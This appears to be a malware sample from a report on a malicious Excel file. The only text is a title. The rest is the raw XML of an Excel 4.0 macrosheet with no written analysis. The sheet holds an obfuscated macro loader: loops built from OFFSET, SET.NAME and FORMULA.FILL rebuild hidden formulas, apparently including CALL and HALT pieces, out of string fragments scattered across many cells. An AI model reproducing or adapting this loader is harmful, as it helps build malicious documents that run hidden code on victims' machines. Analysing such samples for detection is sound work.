Malicious Office (OOXML) — malware analysis report

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{DB88B658-AB43-4DE7-AF61-2D17604E144D}"><dimension ref="A49:AI92"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="25" max="25" width="16.7109375" customWidth="1"/></cols><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">SVfKbSxaOWZZSq=A49</f><v>0</v></c><c r="C50"><v>249</v></c><c r="D50" t="str"><f>"=CAL"</f><v>=CAL</v></c><c r="E50" t="str"><f>"=ON"</f><v>=ON</v></c><c r="F50" t="str"><f>"=HA"</f><v>=HA</v></c><c r="G50" t="str"><f>"in"</f><v>in</v></c><c r="H50" t="str"><f>"atta"</f><v>atta</v></c><c r="I50" t="str"><f>"part"</f><v>part</v></c><c r="J50" t="str"><f>"=WH"</f><v>=WH</v></c><c r="K50" t="str"><f>"mark"</f><v>mark</v></c><c r="L50" t="str"><f>"atta"</f><v>atta</v></c><c r="M50" t="str"><f>"we"</f><v>we</v></c><c r="N50" t="str"><f>"=W"</f><v>=W</v></c><c r="O50" t="str"><f>"mark"</f><v>mark</v></c><c r="P50" t="str"><f>"=I"</f><v>=I</v></c><c r="Q50" t="str"><f>"=IF("</f><v>=IF(</v></c><c r="R50" t="str"><f>"ma"</f><v>ma</v></c><c r="S50" t="str"><f>"=EL"</f><v>=EL</v></c><c r="T50" t="str"><f>"do"</f><v>do</v></c><c r="U50" t="str"><f>"ge"</f><v>ge</v></c><c r="V50" t="str"><f>"ind"</f><v>ind</v></c><c r="W50" t="str"><f>"weal"</f><v>weal</v></c><c r="X50" t="str"><f>"=EN"</f><v>=EN</v></c><c r="Y50" t="str"><f>"=NE"</f><v>=NE</v></c><c r="Z50" t="str"><f>"=FO"</f><v>=FO</v></c><c r="AA50" t="str"><f>"=NEX"</f><v>=NEX</v></c><c r="AB50" t="str"><f>"=R"</f><v>=R</v></c><c r="AC50" t="str"><f>"br"</f><v>br</v></c><c r="AD50" t="str"><f>"coll"</f><v>coll</v></c><c r="AE50" t="str"><f>"acq"</f><v>acq</v></c><c r="AF50" t="str"><f>"co"</f><v>co</v></c><c r="AG50" t="str"><f>"nece"</f><v>nece</v></c><c r="AH50" t="str"><f>"por"</f><v>por</v></c><c r="AI50" t="str"><f>"=br"</f><v>=br</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="A51" t="b"><f>WHILE(AND(SVfKbSxaOWZZSq&lt;32))</f><v>0</v></c><c r="C51"><v>-789</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52"><f>COUNTBLANK($G$14:$J$64)</f><v>204</v></c><c r="C52"><v>-524</v></c><c r="D52" t="str"><f>"L(""X"</f><v>L("X</v></c><c r="E52" t="str"><f>".TI"</f><v>.TI</v></c><c r="F52" t="str"><f>"LT()"</f><v>LT()</v></c><c r="G52" t="str"><f>"dic"</f><v>dic</v></c><c r="H52" t="str"><f>"ch=0"</f><v>ch=0</v></c><c r="I52" t="str"><f>"iall"</f><v>iall</v></c><c r="J52" t="str"><f>"IL"</f><v>IL</v></c><c r="K52" t="str"><f>"et="</f><v>et=</v></c><c r="L52" t="str"><f>"ch"</f><v>ch</v></c><c r="M52" t="str"><f>"alt"</f><v>alt</v></c><c r="N52" t="str"><f>"HIL"</f><v>HIL</v></c><c r="O52" t="str"><f>"et=m"</f><v>et=m</v></c><c r="P52" t="str"><f>"NDI"</f><v>NDI</v></c><c r="Q52" t="str"><f>"R81C"</f><v>R81C</v></c><c r="R52" t="str"><f>"rke"</f><v>rke</v></c><c r="S52" t="str"><f>"SE("</f><v>SE(</v></c><c r="T52" t="str"><f>"ct"</f><v>ct</v></c><c r="U52" t="str"><f>"nera"</f><v>nera</v></c><c r="V52" t="str"><f>"icat"</f><v>icat</v></c><c r="W52" t="str"><f>"th=w"</f><v>th=w</v></c><c r="X52" t="str"><f>"D.IF"</f><v>D.IF</v></c><c r="Y52" t="str"><f>"XT"</f><v>XT</v></c><c r="Z52" t="str"><f>"RM"</f><v>RM</v></c><c r="AA52" t="str"><f>"T("</f><v>T(</v></c><c r="AB52" t="str"><f>"ETUR"</f><v>ETUR</v></c><c r="AC52" t="str"><f>"eac"</f><v>eac</v></c><c r="AD52" t="str"><f>"ar"</f><v>ar</v></c><c r="AE52" t="str"><f>"ui"</f><v>ui</v></c><c r="AF52" t="str"><f>"mp"</f><v>mp</v></c><c r="AG52" t="str"><f>"ssit"</f><v>ssit</v></c><c r="AH52" t="str"><f>"te"</f><v>te</v></c><c r="AI52" t="str"><f>"each"</f><v>each</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="A53" t="b"><f bx="1">pegunDli=-2</f><v>0</v></c><c r="C53"><v>-910</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="C54"><v>-593</v></c><c r="D54" t="str"><f>"lc"</f><v>lc</v></c><c r="E54" t="str"><f>"ME"</f><v>ME</v></c><c r="F54" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="G54" t="str"><f>"ate"</f><v>ate</v></c><c r="H54" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="I54" t="str"><f>"y=RO"</f><v>y=RO</v></c><c r="J54" t="str"><f>"E(a"</f><v>E(a</v></c><c r="K54" t="str"><f>"-1"</f><v>-1</v></c><c r="L54" t="str"><f>"=att"</f><v>=att</v></c><c r="M54" t="str"><f>"h="</f><v>h=</v></c><c r="N54" t="str"><f>"E(ma"</f><v>E(ma</v></c><c r="O54" t="str"><f>"arke"</f><v>arke</v></c><c r="P54" t="str"><f>"RE"</f><v>RE</v></c><c r="Q54" t="str"><f>"1&gt;10"</f><v>1&gt;10</v></c><c r="R54" t="str"><f>"t="</f><v>t=</v></c><c r="S54" t="str"><f>")"</f><v>)</v></c><c r="T54" t="str"><f>"ors"</f><v>ors</v></c><c r="U54" t="str"><f>"ted="</f><v>ted=</v></c><c r="V54" t="str"><f>"ed=i"</f><v>ed=i</v></c><c r="W54" t="str"><f>"ealt"</f><v>ealt</v></c><c r="X54" t="str"><f>"()"</f><v>()</v></c><c r="Y54" t="str"><f>"()"</f><v>()</v></c><c r="Z54" t="str"><f>"UL"</f><v>UL</v></c><c r="AA54" t="str"><f>")"</f><v>)</v></c><c r="AB54" t="str"><f>"N()"</f><v>N()</v></c><c r="AC54" t="str"><f>"h=R7"</f><v>h=R7</v></c><c r="AD54" t="str"><f>"=50"</f><v>=50</v></c><c r="AE54" t="str"><f>"red"</f><v>red</v></c><c r="AF54" t="str"><f>"on"</f><v>on</v></c><c r="AG54" t="str"><f>"y="</f><v>y=</v></c><c r="AH54" t="str"><f>"r=R"</f><v>r=R</v></c><c r="AI54" t="str"><f>"()"</f><v>()</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>-539</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="A56" t="b"><f bx="1">SVfKbSxaOWZZSq=SVfKbSxaOWZZSq+1</f><v>0</v></c><c r="C56"><v>-290</v></c><c r="D56" t="str"><f>"all3"</f><v>all3</v></c><c r="E56" t="str"><f>"(N"</f><v>(N</v></c><c r="G56" t="str"><f>"d=0"</f><v>d=0</v></c><c r="I56" t="str"><f>"WS("</f><v>WS(</v></c><c r="J56" t="str"><f>"tta"</f><v>tta</v></c><c r="K56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="L56" t="str"><f>"ach"</f><v>ach</v></c><c r="M56" t="str"><f>""""""</f><v>""</v></c><c r="N56" t="str"><f>"rk"</f><v>rk</v></c><c r="O56" t="str"><f>"t+1"</f><v>t+1</v></c><c r="P56" t="str"><f>"CT(A"</f><v>CT(A</v></c><c r="Q56" t="str"><f>"00)"</f><v>00)</v></c><c r="R56" t="str"><f>"500"</f><v>500</v></c><c r="S56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="T56" t="str"><f>"=MOD"</f><v>=MOD</v></c><c r="U56" t="str"><f>"INDE"</f><v>INDE</v></c><c r="V56" t="str"><f>"ndic"</f><v>ndic</v></c><c r="W56" t="str"><f>"h&amp;"</f><v>h&amp;</v></c><c r="X56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="Y56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="Z56" t="str"><f>"A(w"</f><v>A(w</v></c><c r="AA56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AB56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AC56" t="str"><f>"2C1"</f><v>2C1</v></c><c r="AD56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AE56" t="str"><f>"=1"</f><v>=1</v></c><c r="AF56" t="str"><f>"en"</f><v>en</v></c><c r="AG56" t="str"><f>"17"</f><v>17</v></c><c r="AH56" t="str"><f>"101"</f><v>101</v></c><c r="AI56" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c></row><row r="57" spans="1:35" x14ac:dyDescent="0.25"><c r="A57" t="b"><f bx="1">DtrIQ=""</f><v>0</v></c><c r="C57"><v>472</v></c></row><row r="58" spans="1:35" x14ac:dyDescent="0.25"><c r="A58" t="b"><f>WHILE(pegunDli&lt;213)</f><v>0</v></c><c r="C58"><v>-734</v></c><c r="D58" t="str"><f>"2"","""</f><v>2","</v></c><c r="E58" t="str"><f>"OW()"</f><v>OW()</v></c><c r="G58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="I58" t="str"><f>"co"</f><v>co</v></c><c r="J58" t="str"><f>"ch&lt;"</f><v>ch&lt;</v></c><c r="L58" t="str"><f>"+1"</f><v>+1</v></c><c r="M58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="N58" t="str"><f>"et&lt;5"</f><v>et&lt;5</v></c><c r="O58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="P58" t="str"><f>"DDRE"</f><v>DDRE</v></c><c r="Q58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="R58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="T58" t="str"><f>"(ind"</f><v>(ind</v></c><c r="U58" t="str"><f>"X("</f><v>X(</v></c><c r="V58" t="str"><f>"ate"</f><v>ate</v></c><c r="W58" t="str"><f>"CH"</f><v>CH</v></c><c r="Z58" t="str"><f>"eal"</f><v>eal</v></c><c r="AC58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AE58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AF58" t="str"><f>"ts"</f><v>ts</v></c><c r="AG58" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="AH58" t="str"><f>"C1"</f><v>C1</v></c></row><row r="59" spans="1:35" x14ac:dyDescent="0.25"><c r="A59" t="b"><f bx="1">pegunDli=pegunDli+2</f><v>0</v></c><c r="C59"><v>-793</v></c></row><row r="60" spans="1:35" x14ac:dyDescent="0.25"><c r="A60" t="e"><f>T(OFFSET($C$50,pegunDli,SVfKbSxaOWZZSq))</f><v>#NAME?</v></c><c r="D60" t="str"><f>"Exce"</f><v>Exce</v></c><c r="E60" t="str"><f>"+"""</f><v>+"</v></c><c r="I60" t="str"><f>"mp"</f><v>mp</v></c><c r="J60" t="str"><f>"nec"</f><v>nec</v></c><c r="L60" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="N60" t="str"><f>"00)"</f><v>00)</v></c><c r="P60" t="str"><f>"SS"</f><v>SS</v></c><c r="T60" t="str"><f>"ica"</f><v>ica</v></c><c r="U60" t="str"><f>"com"</f><v>com</v></c><c r="V60" t="str"><f>"d+1"</f><v>d+1</v></c><c r="W60" t="str"><f>"AR("</f><v>AR(</v></c><c r="Z60" t="str"><f>"th,A"</f><v>th,A</v></c><c r="AF60" t="str"><f>"=R"</f><v>=R</v></c><c r="AH60" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c></row><row r="61" spans="1:35" x14ac:dyDescent="0.25"><c r="A61" t="e"><f>IF($A$60="pBsssFVdgkR",SET.NAME("pegunDli",213),SET.NAME("DtrIQ",DtrIQ&amp;$A$60))</f><v>#NAME?</v></c></row><row r="62" spans="1:35" x14ac:dyDescent="0.25"><c r="A62" t="b"><f>NEXT()</f><v>0</v></c><c r="D62" t="str"><f>"l4"</f><v>l4</v></c><c r="E62" t="str"><f>"00:"</f><v>00:</v></c><c r="I62" t="str"><f>"onen"</f><v>onen</v></c><c r="J62" t="str"><f>"essi"</f><v>essi</v></c><c r="N62" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="P62" t="str"><f>"(mar"</f><v>(mar</v></c><c r="T62" t="str"><f>"ted,"</f><v>ted,</v></c><c r="U62" t="str"><f>"po"</f><v>po</v></c><c r="V62" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="W62" t="str"><f>"R81"</f><v>R81</v></c><c r="Z62" t="str"><f>"BSRE"</f><v>BSRE</v></c><c r="AF62" t="str"><f>"50C"</f><v>50C</v></c></row><row r="64" spans="1:35" x14ac:dyDescent="0.25"><c r="A64" t="b"><f>(((((FORMULA.FILL(DtrIQ,OFFSET($A$69,SVfKbSxaOWZZSq-1,0)))))))</f><v>0</v></c><c r="D64" t="str"><f>""",""2"</f><v>","2</v></c><c r="E64" t="str"><f>"00:"</f><v>00:</v></c><c r="I64" t="str"><f>"ts)"</f><v>ts)</v></c><c r="J64" t="str"><f>"ty)"</f><v>ty)</v></c><c r="P64" t="str"><f>"ke"</f><v>ke</v></c><c r="T64" t="str"><f>"pa"</f><v>pa</v></c><c r="U64" t="str"><f>"nent"</f><v>nent</v></c><c r="W64" t="str"><f>"C1-"</f><v>C1-</v></c><c r="Z64" t="str"><f>"F("</f><v>F(</v></c><c r="AF64" t="str"><f>"3:"</f><v>3:</v></c></row><row r="66" spans="1:32" x14ac:dyDescent="0.25"><c r="D66" t="str"><f>"JR"</f><v>JR</v></c><c r="E66" t="str"><f>"01"""</f><v>01"</v></c><c r="I66" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="J66" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="P66" t="str"><f>"t+"</f><v>t+</v></c><c r="T66" t="str"><f>"rti"</f><v>rti</v></c><c r="U66" t="str"><f>"s,d"</f><v>s,d</v></c><c r="W66" t="str"><f>"ge"</f><v>ge</v></c><c r="Z66" t="str"><f>"""R"</f><v>"R</v></c><c r="AF66" t="str"><f>"R59C"</f><v>R59C</v></c></row><row r="68" spans="1:32" x14ac:dyDescent="0.25"><c r="A68" t="b"><f>NEXT()</f><v>0</v></c><c r="D68" t="str"><f>"JR"</f><v>JR</v></c><c r="E68" t="str"><f>", """</f><v>, "</v></c><c r="P68" t="str"><f>"co"</f><v>co</v></c><c r="T68" t="str"><f>"ally"</f><v>ally</v></c><c r="U68" t="str"><f>"oc"</f><v>oc</v></c><c r="W68" t="str"><f>"ne"</f><v>ne</v></c><c r="Z68" t="str"><f>"["""</f><v>["</v></c><c r="AF68" t="str"><f>"3"</f><v>3</v></c></row><row r="70" spans="1:32" x14ac:dyDescent="0.25"><c r="D70" t="str"><f>"R#"</f><v>R#</v></c><c r="E70" t="str"><f>"R94C"</f><v>R94C</v></c><c r="P70" t="str"><f>"llar"</f><v>llar</v></c><c r="T70" t="str"><f>")+"</f><v>)+</v></c><c r="U70" t="str"><f>"to"</f><v>to</v></c><c r="W70" t="str"><f>"ra"</f><v>ra</v></c><c r="Z70" t="str"><f>"&amp;("</f><v>&amp;(</v></c><c r="AF70" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c></row><row r="72" spans="1:32" x14ac:dyDescent="0.25"><c r="D72" t="str"><f>""","</f><v>",</v></c><c r="E72" t="str"><f>"1"")"</f><v>1")</v></c><c r="P72" t="str"><f>",at"</f><v>,at</v></c><c r="T72" t="str"><f>"1"</f><v>1</v></c><c r="U72" t="str"><f>"rs"</f><v>rs</v></c><c r="W72" t="str"><f>"ted)"</f><v>ted)</v></c><c r="Z72" t="str"><f>"att"</f><v>att</v></c></row><row r="74" spans="1:32" x14ac:dyDescent="0.25"><c r="D74" t="str"><f>"4,,2"</f><v>4,,2</v></c><c r="E74" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="P74" t="str"><f>"tac"</f><v>tac</v></c><c r="T74" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="U74" t="str"><f>")"</f><v>)</v></c><c r="W74" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="Z74" t="str"><f>"ac"</f><v>ac</v></c></row><row r="76" spans="1:32" x14ac:dyDescent="0.25"><c r="D76" t="str"><f>",100"</f><v>,100</v></c><c r="P76" t="str"><f>"h+ac"</f><v>h+ac</v></c><c r="U76" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="Z76" t="str"><f>"h-1"</f><v>h-1</v></c></row><row r="78" spans="1:32" x14ac:dyDescent="0.25"><c r="D78" t="str"><f>",200"</f><v>,200</v></c><c r="P78" t="str"><f>"qu"</f><v>qu</v></c><c r="Z78" t="str"><f>")&amp;""]"</f><v>)&amp;"]</v></c></row><row r="80" spans="1:32" x14ac:dyDescent="0.25"><c r="D80" t="str"><f>")"</f><v>)</v></c><c r="P80" t="str"><f>"ir"</f><v>ir</v></c><c r="Z80" t="str"><f>"C[0"</f><v>C[0</v></c></row><row r="82" spans="4:26" x14ac:dyDescent="0.25"><c r="D82" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c><c r="P82" t="str"><f>"ed,,"</f><v>ed,,</v></c><c r="Z82" t="str"><f>"]"","</f><v>]",</v></c></row><row r="84" spans="4:26" x14ac:dyDescent="0.25"><c r="P84" t="str"><f>","""</f><v>,"</v></c><c r="Z84" t="str"><f>"por"</f><v>por</v></c></row><row r="86" spans="4:26" x14ac:dyDescent="0.25"><c r="P86" t="str"><f>"She"</f><v>She</v></c><c r="Z86" t="str"><f>"ter"</f><v>ter</v></c></row><row r="88" spans="4:26" x14ac:dyDescent="0.25"><c r="P88" t="str"><f>"et1"</f><v>et1</v></c><c r="Z88" t="str"><f>"))"</f><v>))</v></c></row><row r="90" spans="4:26" x14ac:dyDescent="0.25"><c r="P90" t="str"><f>"""))"</f><v>"))</v></c><c r="Z90" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c></row><row r="92" spans="4:26" x14ac:dyDescent="0.25"><c r="P92" t="str"><f>"pBsssFVdgkR"</f><v>pBsssFVdgkR</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>